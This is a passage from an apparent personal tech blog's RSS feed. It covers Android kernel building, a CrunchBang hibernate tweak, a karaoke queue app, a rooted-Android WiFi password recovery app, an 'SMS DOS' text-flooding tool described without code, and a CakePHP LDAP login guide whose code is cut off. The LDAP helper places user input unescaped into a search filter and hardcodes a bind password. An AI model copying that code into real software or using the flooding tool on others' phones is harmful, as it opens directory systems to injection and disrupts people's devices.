<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>make menuconfig
</span></span></code></pre></div><h2 id="compiling-the-kernel">Compiling the kernel</h2>
<p>Now the kernel is ready to be compiled. To start the compilation process run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>make -j <span style="color:#ae81ff">4</span>
</span></span></code></pre></div><p><code>-j 4</code> tells the compiler how many of your possessor&rsquo;s cores to use for the compilation process. Since I have a quad core possessor I used 4, but you should change it to match your system. If you are unsure of what to use, use make with no options. This may take some time depending on the speed of your system, it took 20 minutes for me.</p>
<p>Once it is done if there are any kernel modules you want compiled for this kernel run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>make modules
</span></span></code></pre></div><p>If everything went well and you got no errors then your kernel will be located at <code>arch/arm/boot/zImage</code></p>
<h2 id="installing-the-kernel">Installing the Kernel</h2>
<p>In order to turn the zImage file into a flashable image for an Android device you can use <a href="https://github.com/koush/AnyKernel">koush&rsquo;s AnyKernel</a> utility.</p>
<p>Clone the AnyKernel repository and replace kernel/zImage with the one you just created. Also remove everything from the system directory and replace it with any kernel modules you created. NOTE: Some devices may require a modified version of AnyKernel to work. The Galaxy Nexus should use the <a href="https://github.com/Galaxy-Nexus-Project/AnyKernel">AnyKernel form the Galaxy Nexus Project</a>. If you are not using any special kernel modules then you can skip line 5. Otherwise the output of &ldquo;make modules&rdquo; should tell you where to copy the modules from.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/Galaxy-Nexus-Project/AnyKernel.git
</span></span><span style="display:flex;"><span>cd AnyKernel
</span></span><span style="display:flex;"><span>cp ../android_kernel_samsung_tuna/arch/arm/boot/zImage kernel/zImage
</span></span><span style="display:flex;"><span>rm system/lib/modules/*
</span></span><span style="display:flex;"><span>cp PATH_TO_COMPILED_MODULES system/lib/modules/
</span></span><span style="display:flex;"><span>zip -r9 newKernel.zip *
</span></span></code></pre></div><p>The newKernel.zip you just created should now install your new kernel and modules on your device. Note: if your recovery requires zips to be signed then you will need to sign it before it will work.</p>
]]></content:encoded></item><item><title>Adding Hibernate to the CrunchBang Linux shutdown menu</title><link>https://lanrat.com/posts/adding-hibernate-to-crunchbang/</link><pubDate>Sat, 25 May 2013 07:54:00 +0000</pubDate><guid>https://lanrat.com/posts/adding-hibernate-to-crunchbang/</guid><description>Tutorial for adding hibernation functionality to the CrunchBang Linux shutdown menu by installing a custom cb-exit script.</description><content:encoded><![CDATA[<p><img alt="cb-exit" loading="lazy" src="/posts/adding-hibernate-to-crunchbang/images/cb-exit.webp"></p>
<p>By default <a href="https://crunchbang.org/">CrunchBang Linux</a> does not have hibernation support enabled in the shutdown menu. The reason for being excluded is likely because not all computers support hibernation. However most modern computers will support it.</p>
<p>To add a hibernation option just download <a href="https://gist.github.com/lanrat/5650237">this</a> file and place it in the bin directory of your home folder: &ldquo;~/bin/&rdquo; and make it executable with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>chmod +x cb-exit
</span></span></code></pre></div><p><a href="https://gist.github.com/lanrat/5650237">cb-exit Gist</a></p>
<p>If you want to test your system to see if it can handle hibernation run the following command. If your system supports it you should be able to successfully enter and exit hibernation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>dbus-send --system --print-reply --dest<span style="color:#f92672">=</span><span style="color:#ae81ff">\&#34;</span>org.freedesktop.UPower<span style="color:#ae81ff">\&#34;</span> /org/freedesktop/UPower org.freedesktop.UPower.Hibernate
</span></span></code></pre></div>]]></content:encoded></item><item><title>PHP Karaoke Queue</title><link>https://lanrat.com/posts/dj-queue/</link><pubDate>Sat, 25 May 2013 03:38:41 +0000</pubDate><guid>https://lanrat.com/posts/dj-queue/</guid><description>Mobile-friendly karaoke queue management system built with PHP, JavaScript, and AJAX for streamlined song selection and DJ interface.</description><content:encoded><![CDATA[<p><img alt="queue_screenshot" loading="lazy" src="/posts/dj-queue/images/karaoke-queue-screenshot.webp"></p>
<p>A while ago I decided that I needed some more JavaScript/AJAX experience, and what better way to get it than to use it to solve an existing problem.</p>
<p>Every now and then my apartment hosts karaoke nights, we have a lot of songs, enough to fill a 4-inch binder. Searching for songs was a pain. In order to find the song&rsquo;s ID code to give to the DJ you must search through pages of songs and artists that were in no particular order. I decided to fix this problem with my skill set, so I created <a href="https://github.com/lanrat/DJ_Queue">DJQueue</a>. <a href="https://github.com/lanrat/DJ_Queue">DJQueue</a> is a collection of hacked together PHP, JavaScript, and SQL magic.</p>
<p>Since most party attendees have a smartphone, the interface is entirely mobile. Users can choose their own alias, which often is not their real name; especially if they are … not so good. From there on searching and enqueueing songs stored in the database is all AJAX. As guests search the song list and select songs they want they are added the the current queue and the new song appears on a separate interface for the DJ.</p>
<p>All code is open source and freely available on <a href="https://github.com/lanrat/DJ_Queue">Github</a>!</p>
]]></content:encoded></item><item><title>WiFi Recovery</title><link>https://lanrat.com/projects/wifi-recovery/</link><pubDate>Mon, 06 May 2013 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/wifi-recovery/</guid><description>&lt;p&gt;WiFi Recovery is an Android application that retrieves saved WiFi passwords from the device&amp;rsquo;s system files. The app requires root access to read the wpa_supplicant.conf file where Android stores network credentials in plain text format.&lt;/p&gt;
&lt;p&gt;The application uses libraries including ActionBarSherlock, ZXING for QR code generation, and RootTools for system-level file access. It provides a simple interface to view saved network passwords and can generate QR codes for easy network sharing. The project has been archived as modern Android versions have changed WiFi credential storage mechanisms.&lt;/p&gt;</description><content:encoded><![CDATA[<p>WiFi Recovery is an Android application that retrieves saved WiFi passwords from the device&rsquo;s system files. The app requires root access to read the wpa_supplicant.conf file where Android stores network credentials in plain text format.</p>
<p>The application uses libraries including ActionBarSherlock, ZXING for QR code generation, and RootTools for system-level file access. It provides a simple interface to view saved network passwords and can generate QR codes for easy network sharing. The project has been archived as modern Android versions have changed WiFi credential storage mechanisms.</p>
]]></content:encoded></item><item><title>SMS DOS: Cellphone Denial Of Service via text messages</title><link>https://lanrat.com/posts/sms-dos/</link><pubDate>Sun, 11 Mar 2012 01:38:14 +0000</pubDate><guid>https://lanrat.com/posts/sms-dos/</guid><description>Python program demonstrating SMS denial of service attacks by flooding smartphones with text messages via SMS gateways to test device resilience.</description><content:encoded><![CDATA[<p><img alt="SMS DOS Screenshot" loading="lazy" src="/posts/sms-dos/images/SMSDOS_Screenshot.webp"></p>
<p>A while ago I wondered how well modern cellphones could handle a flood of text messages. So I created a simple python program to test just that. The program works by sending emails to a <a href="https://en.wikipedia.org/wiki/SMS_gateway">SMS Gateway</a> which will forward the message to the phone in the form of a text message.</p>
<p>I tested my program on two devices, my modern HTC Incredible running Android and my aging LG Chocolate dumb-phone. The results where surprising! After starting the program my HTC Incredible froze after receiving the first 20 messages. A battery pull was required to get it to respond. The second it finished booting it froze again! I was only able to make it respond by stopping my program and rebooting the phone. After it boot it froze again while catching up on all the messages that where sent.</p>
<p>My LG Chocolate was another story. While it never froze, it did make the phone almost impossible to use. 10 times a second it would display a notification of the new message. But after about 100 messages it just stopped. My program was still sending them but the phone stopped receiving them. I&rsquo;m not sure if this was done by the phone itself or something on the carrier&rsquo;s end.</p>
<p>I am releasing the source of this program in case others find it interesting. I claim no responsibility for any damage done by this program. Use at your own risk on devices you own!</p>
<p><a href="https://github.com/lanrat/SMS-DOS">Source Code at GitHub</a></p>
<p>SMS DOS requires PyQt4 for the GUI, it can be installed <a href="https://www.riverbankcomputing.co.uk/software/pyqt/download">from Riverbank Computing</a>.</p>
]]></content:encoded></item><item><title>WIFI Recovery for Android</title><link>https://lanrat.com/posts/wifi-recovery-for-android/</link><pubDate>Thu, 01 Mar 2012 06:03:31 +0000</pubDate><guid>https://lanrat.com/posts/wifi-recovery-for-android/</guid><description>Android application for recovering and sharing WiFi passwords from rooted devices, with backup/restore functionality and QR code sharing capabilities.</description><content:encoded><![CDATA[<p><img alt="WiFi Recovery" loading="lazy" src="/posts/wifi-recovery-for-android/images/wifirecovery.webp"></p>
<p>Have you ever wanted to give a friend access to a wireless network you are on but don&rsquo;t want to go find the key?</p>
<p>WIFI Key Recovery will find the key on your device and allow you to share it via a message or QR Code.<br>
Additionally WIFI Key Recovery will allow you to backup/restore your current WIFI configuration to your SD card!</p>
<p>If this app does not work on your rooted phone email me I will try to add support.</p>
<p>All application code is open source and available on <a href="https://github.com/lanrat/WIFI_Recovery">GitHub</a>!</p>
<p><a href="https://play.google.com/store/apps/details?id=com.vorsk.wifirecovery"><img alt="Get it on Google Play" loading="lazy" src="/posts/wifi-recovery-for-android/images/GetItOnGooglePlay_Badge_Web_color_English.webp"></a></p>
]]></content:encoded></item><item><title>DNS.coffee</title><link>https://lanrat.com/projects/dns.coffee/</link><pubDate>Mon, 11 Apr 2011 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/dns.coffee/</guid><description>&lt;p&gt;DNS.coffee is a web platform that collects and archives DNS zone file statistics to provide insights into DNS growth and changes over time. The service tracks domain distribution across zones, TLD root zone growth patterns, and overall internet domain expansion through comprehensive data visualization.&lt;/p&gt;
&lt;p&gt;The platform includes tools for domain record searches, nameserver lookups, IP information queries, and advanced search capabilities. DNS.coffee also provides an API for programmatic access to DNS data, making it a valuable resource for researchers and network administrators analyzing DNS infrastructure trends and domain name system evolution.&lt;/p&gt;</description><content:encoded>&lt;p>DNS.coffee is a web platform that collects and archives DNS zone file statistics to provide insights into DNS growth and changes over time. The service tracks domain distribution across zones, TLD root zone growth patterns, and overall internet domain expansion through comprehensive data visualization.&lt;/p>
&lt;p>The platform includes tools for domain record searches, nameserver lookups, IP information queries, and advanced search capabilities. DNS.coffee also provides an API for programmatic access to DNS data, making it a valuable resource for researchers and network administrators analyzing DNS infrastructure trends and domain name system evolution.&lt;/p>
</content:encoded></item><item><title>LDAP Authentication for Cakephp</title><link>https://lanrat.com/posts/ldap-authentication-for-cakephp/</link><pubDate>Fri, 25 Mar 2011 01:35:00 +0000</pubDate><guid>https://lanrat.com/posts/ldap-authentication-for-cakephp/</guid><description>Implementation guide for integrating LDAP authentication into CakePHP applications by overriding the Auth component and creating custom LDAP helper.</description><content:encoded><![CDATA[<p>This article is going to help you using LDAP to authenticate users rather than relying on a users table with a password column. I will be assuming you will be using cakephp 1.3 and that you have completed Auth and/or ACL setup on your application similar to the <a href="https://book.cakephp.org/view/1543/Simple-Acl-controlled-Application">ACL tutorial on the cakephp book</a>.</p>
<p>Because we want to control the logging in of the user ourselves and not leave it to the cake magic we need to override the auth component. To do this copy your auth.php from your <code>CAKE_CORE/controllers/components/</code> to your <code>APP/controllers/components/</code> folder. Next open it up and fine the login function. It should be around like 684. Once you find it comment out everything inside the function, but leave the function intact. It should look something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">login</span>($data <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">/*$this-&gt;__setDefaults();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    $this-&gt;_loggedIn = false;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    if (empty($data)) {$data = $this-&gt;data; }
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    if ($user = $this-&gt;identify($data))
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    { $this-&gt;Session-&gt;write($this-&gt;sessionKey, $user);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    $this-&gt;_loggedIn = true; }
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">return $this-&gt;_loggedIn;*/</span> }
</span></span></code></pre></div><p>Next open up your users controller and find your login function. Assuming you followed the guide or have implemented some basic auth you should have an empty login function.</p>
<p>I have written a LDAP helper that can easily be included as a LIB for Cakephp that will get some user data and validate the login, copy and paste it from below to APP/libs/ldap.php</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ldap</span>{
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> $ldap <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> $ldapServer <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;AD.domain.com&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> $ldapPort <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;389&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> $suffix <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;@domain.com&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> $baseDN <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;dc=domain,dc=com&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> $ldapUser <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;LDAPUser&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> $ldapPassword <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Pas5w0rd&#39;</span>;
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span>  <span style="color:#a6e22e">__construct</span>() {
</span></span><span style="display:flex;"><span>        $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">ldap_connect</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldapServer</span>,$this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldapPort</span>);
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//these next two lines are required for windows server 03
</span></span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ldap_set_option</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>, <span style="color:#a6e22e">LDAP_OPT_REFERRALS</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ldap_set_option</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>, <span style="color:#a6e22e">LDAP_OPT_PROTOCOL_VERSION</span>, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">auth</span>($user,$pass)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">empty</span>($user) <span style="color:#66d9ef">or</span> <span style="color:#66d9ef">empty</span>($pass))
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">@</span>$good <span style="color:#f92672">=</span> <span style="color:#a6e22e">ldap_bind</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>,$user<span style="color:#f92672">.</span>$this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">suffix</span>,$pass);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>( $good <span style="color:#f92672">===</span> <span style="color:#66d9ef">true</span> ){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>        }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">__destruct</span>(){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ldap_unbind</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">getInfo</span>($user){
</span></span><span style="display:flex;"><span>        $username <span style="color:#f92672">=</span> $user<span style="color:#f92672">.</span>$this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">suffix</span>;;
</span></span><span style="display:flex;"><span>        $attributes <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#39;givenName&#39;</span>,<span style="color:#e6db74">&#39;sn&#39;</span>,<span style="color:#e6db74">&#39;mail&#39;</span>,<span style="color:#e6db74">&#39;samaccountname&#39;</span>,<span style="color:#e6db74">&#39;memberof&#39;</span>);
</span></span><span style="display:flex;"><span>        $filter <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;(userPrincipalName=</span><span style="color:#e6db74">$username</span><span style="color:#e6db74">)&#34;</span>;
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ldap_bind</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>,$this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldapUser</span><span style="color:#f92672">.</span>$this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">suffix</span>,$this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldapPassword</span>);
</span></span><span style="display:flex;"><span>        $result <span style="color:#f92672">=</span> <span style="color:#a6e22e">ldap_search</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>, $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">baseDN</span>, $filter,$attributes);
</span></span><span style="display:flex;"><span>        $entries <span style="color:#f92672">=</span> <span style="color:#a6e22e">ldap_get_entries</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">ldap</span>, $result);
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">formatInfo</span>($entries);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">formatInfo</span>($array){
</span></span><span style="display:flex;"><span>        $info <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>();
</span></span><span style="display:flex;"><span>        $info[<span style="color:#e6db74">&#39;first_name&#39;</span>] <span style="color:#f92672">=</span> $array[<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;givenname&#39;</span>][<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span>        $info[<span style="color:#e6db74">&#39;last_name&#39;</span>] <span style="color:#f92672">=</span> $array[<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;sn&#39;</span>][<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span>        $info[<span style="color:#e6db74">&#39;name&#39;</span>] <span style="color:#f92672">=</span> $info[<span style="color:#e6db74">&#39;first_name&#39;</span>] <span style="color:#f92672">.</span><span style="color:#e6db74">&#39; &#39;</span><span style="color:#f92672">.</span> $info[<span style="color:#e6db74">&#39;last_name&#39;</span>];
</span></span><span style="display:flex;"><span>        $info[<span style="color:#e6db74">&#39;email&#39;</span>] <span style="color:#f92672">=</span> $array[<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;mail&#39;</span>][<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span>        $info[<span style="color:#e6db74">&#39;user&#39;</span>] <span style="color:#f92672">=</span> $array[<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;samaccountname&#39;</span>][<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span>        $info[<span style="color:#e6db74">&#39;groups&#39;</span>] <span style="color:#f92672">=</span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">groups</span>($array[<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;memberof&#39;</span>]);
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> $info;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">groups</span>($array)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        $groups <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>();
</span></span><span style="display:flex;"><span>        $tmp <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>();
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">foreach</span>( $array <span style="color:#66d9ef">as</span> $entry )
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            $tmp <span style="color:#f92672">=</span> <span style="color:#a6e22e">array_merge</span>($tmp,<span style="color:#a6e22e">explode</span>(<span style="color:#e6db74">&#39;,&#39;</span>,$entry));
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">foreach</span>($tmp <span style="color:#66d9ef">as</span> $value) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span>( <span style="color:#a6e22e">substr</span>($value,<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">2</span>) <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;CN&#39;</span> ){
</span></span><span style="display:flex;"><span>                $groups[] <span style="color:#f92672">=</span> <span style="color:#a6e22e">substr</span>($value,<span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> $groups;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Edit the variables at the tom of the file to reflect your setup.</p>
<p>Now we are going to make our Users-&gt;login function check the POST username and password against LDAP, and then if valid it will preform the login magic that auth used to do.</p>
<p>Fill your login function with this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">login</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">App</span><span style="color:#f92672">::</span><span style="color:#a6e22e">import</span>(<span style="color:#e6db74">&#39;Lib&#39;</span>, <span style="color:#e6db74">&#39;ldap&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Session</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">read</span>(<span style="color:#e6db74">&#39;Auth.User&#39;</span>)) {
</span></span><span style="display:flex;"><span>         $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">redirect</span>(<span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#39;controller&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;allocations&#39;</span>, <span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;index&#39;</span>));
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">elseif</span> (<span style="color:#f92672">!</span><span style="color:#66d9ef">empty</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>)) {
</span></span><span style="display:flex;"><span>        $ldap <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ldap</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> ($ldap<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">auth</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Auth</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;user&#39;</span>], $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Auth</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;password&#39;</span>])) {
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>            $userrow <span style="color:#f92672">=</span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">User</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">findByUsername</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;user&#39;</span>]);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>$userrow) {
</span></span><span style="display:flex;"><span>                $ldap_info <span style="color:#f92672">=</span> $ldap<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">getInfo</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;user&#39;</span>]);
</span></span><span style="display:flex;"><span>                $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;username&#39;</span>] <span style="color:#f92672">=</span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;user&#39;</span>];
</span></span><span style="display:flex;"><span>                $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;name&#39;</span>] <span style="color:#f92672">=</span> $ldap_info[<span style="color:#e6db74">&#39;name&#39;</span>];
</span></span><span style="display:flex;"><span>                $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;group_id&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>; <span style="color:#75715e">//sets the default group
</span></span></span><span style="display:flex;"><span>                $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">add</span>();
</span></span><span style="display:flex;"><span>                $userrow <span style="color:#f92672">=</span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">User</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">findByUsername</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;User&#39;</span>][<span style="color:#e6db74">&#39;user&#39;</span>]);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>            $user <span style="color:#f92672">=</span> $userrow[<span style="color:#e6db74">&#39;User&#39;</span>];
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>            $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Auth</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Session</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">write</span>($this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Auth</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">sessionKey</span>, $user);
</span></span><span style="display:flex;"><span>            $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Auth</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">_loggedIn</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span> 
